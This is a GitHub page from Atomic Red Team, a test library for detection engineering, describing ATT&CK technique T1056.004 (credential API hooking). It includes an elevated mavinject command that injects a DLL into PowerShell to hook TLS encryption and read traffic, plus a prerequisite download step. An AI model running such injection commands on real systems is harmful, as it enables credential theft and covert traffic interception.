








Sign in


 redcanaryco / atomic-red-team 

Public

 Notifications


 Fork

2.8k


 Star

9.7k


<> Code


 Issues


6


 Pull requests

5

 Actions

 Wiki

 Security

 Insights

atomic-red-team / atomics / T1056.004 / T1056.004.md 






62 lines (36 loc) · 2.77 KB


Preview


Code

Blame

Raw







# T1056.004 - Credential API Hooking

## Description from ATT&CK

Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen! Sept 2017) Unlike [Keylogging](<https://attack.mitre.org/techniques/T1056/001>), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)
- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)

## Atomic Tests

- [Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages](#)

### Atomic Test #1 - Hook PowerShell TLS Encrypt/Decrypt Messages

Hooks functions in PowerShell to read TLS Communications

Supported Platforms: Windows

auto\_generated\_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33

Inputs:

Name	Description	Type	Default Value
file_name	Dll To Inject	Path	PathToAtomicsFolder\T1056.004\bin\T1056.004x64.dll
server_name	TLS Server To Test Get Request	Url	<a href="https://www.example.com">https://www.example.com</a>

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
mavinject $pid /INJECTRUNNING #{file_name}
Invoke-WebRequest #{server_name} -UseBasicParsing
```

Dependencies: Run with powershell !

Description: T1056.004x64.dll must exist on disk at specified location (#{file\_name})

Check Prereq Commands:

```
if (Test-Path #{file_name}) {exit 0} else {exit 1}
```



#### Get Prereq Commands:

```
New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null  
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomic"
```

